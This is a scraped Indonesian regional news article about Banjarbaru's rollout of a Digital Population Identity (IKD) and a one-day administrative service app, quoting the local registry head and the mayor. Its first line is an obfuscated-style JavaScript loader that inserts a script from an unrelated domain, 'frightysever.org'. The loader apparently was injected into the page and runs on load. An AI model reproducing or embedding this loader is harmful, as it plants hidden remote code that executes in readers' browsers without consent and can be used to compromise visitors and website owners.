(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dinas Kependudukan dan Pencatatan Sipil (Disdukcapil) Kota Banjarbaru mulai memperkenalkan Identitas Kependudukan Digital (IKD).
IKD baru saja diluncurkan menjadi salah satu inovasi Ditjen Dukcapil Kemendagri untuk digitalisasi dokumen kependudukan.
Jika dulunya dokumen kependudukan atau e-KTP menggunakan kertas, saat ini sudah bisa digunakan oleh penduduk ke dalam smartphone masing-masing, baik itu berupa foto ataupun QR Code.
Kepala Disdukcapil Kota Banjarbaru, Sri Fatma Karmailita menyampaikan pentingnya Identitas Kependudukan Digital (IKD) di era digitalisasi yang akan lebih berkembang ini.
“Sebab ke depan seiring berjalannya waktu, perkembangan IT atau teknologi digital itu akan lebih mengurangi yang namanya elektronik,” ujar Sri Fatma Karmailita, Kamis (14/12/2023) siang.
Baca juga: 32 Tahun Nikah Tak Tercatat Negara, Salapudin dan Istri Akhirnya Miliki Buku Nikah
Dari segi keamanan, menurutnya IKD sudah memiliki tingkat keamanan yang tinggi. Masyarakat tidak perlu takut data pribadi digunakan sembarangan ataupun diambil orang lain.
Sebab katanya e-KTP yang diaktifkan di dalam aplikasi itu nantinya dilengkapi fitur keamanan seperti password dan juga tidak bisa untuk ditangkap layar dengan sembarangan.
Baca juga: Bikers Subuhan Banjarbaru: Subuh Berjemaah Lanjut Pengajian, Putar Gas Rihlah ke Tahura Mandiangin
“Dan tentunya jangan kita tunjukan ke orang lain untuk menjaga keamanan, kalau yang bersangkutan istilahnya memberi kepada orang lain tentu kerahasiaanya yang tidak terjamin. Selain itu sangat terjamin karena ada di dalam aplikasi kita masing-masing sepanjang kita bisa menjaganya,” jelas salah satu kepala dinas perempuan di lingkungan Pemko Banjarbaru ini.
Untuk pengaktifan IKD sendiri dapat dilakukan melalui petugas Disdukcapil Banjarbaru. Karena baru dilaunching, saat ini IKD masih disosialisasikan kepada perangkat pemerintah kota.
Adapun penggunaan IKD setelah launching ditargetkan penggunaannya sekitar 25 persen dari penggunaan seluruh Indonesia.
“Presentasi penggunaan masih di bawah 10 persen, dan kita saat ini masih belum IKD dan masih bisa menggunakan e-KTP yang ada. Dengan target 25 persen itu kita juga masih harus menyelesaikan perekaman e-KTP yang masih berjalan,” ungkap dia.
Baca juga: Pedagang Lalapan Tak Bisa Kurangi Takaran, Harga Sembako di Banjarbaru Naik Dratis
Terlebih kata dia saat masa menjelang Pemilu ini pihaknya tengah mengejar pemilih pemula umur 17 tahun yang nanti akan mengikuti Pemilu 2024.
“Kita masih fokus ke sana tapi bukan berati kamu meninggalkan, tapi kami bisa sekaligus dengan mereka merekam e-KTP dapat sekaligus terjaring dengan langsung dipasang IKD di smartphone mereka,” jelasnya.
Di sisi lain, sebagai wujud dari adaptasi jajaran yang mengikuti perkembangan usai masa pandemi melanda, Disdukcapil Kota Banjarbaru turut meluncurkan aplikasi Layanan Sehari Selesai (LARI SAY)
Layanan ini dibuat khusus untuk mempermudah masyarakat jika ingin menyelesaikan berbagai keperluan administratif dengan efisien dalam waktu satu hari.
Baca juga: Launching “Celengan 2024” Promosi Pariwisata Bumi Sanggam
Fatma mengatakan ada beberapa pelayanaan dari Disdukcapil Banjarbaru yang memang tidak lagi dilakukan secara offline.
“Artinya tidak tatap muka, karena bisa dilaksanakan di rumah dengan klik klik klik sudah jadi bisa diambil sendiri ataupun diantar,” sebut dia.
Fitur pilihan mau antar atau ambil sendiri data administraif sudah tersedia melalui aplikasi tersebut yang juga dirancang dengan tingkat keamanan tinggi.
Wali Kota Banjarbaru Aditya Mufti Arifin mengatakan pelayanan administratif kependudukan di Ibu Kota Provinsi Kalimantan Selatan sudah harus menyesuaikan perkembangan teknologi.
Baca juga: Ruang Bermain Ramah Anak di Masjid Raya At Taqwa Amuntai
Perkembangan teknologi itu, kata dia, selalu ada untuk kita meningkatkan suatu pelayanan.
“Makanya pemerintah tidak sembarang untuk mengintegrasikan data, program gagal dan lain lain menjadi catatan bagaimana kerjasama pemanfaatan itu mengedepankan keamanan dari data tersebut sendiri,” ucap Wali Kota Aditya.
Sosialisasi IKD ini pertama dilakukan dan diikuti oleh puluhan ASN dari lingkup SKPD Pemerintah Kota Banjarbaru.
Baca juga: Jelang Haul Abah Guru Sekumpul, Bupati Banjar Pimpin Rakor Persiapan
Mereka mengikuti sosialisasi yang disampaikan oleh narasumber Ir R Agus Irawan MP, Direktur Integrasi Data Kependudukan Daerah Ditjen Dukcapil Kemendagri. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.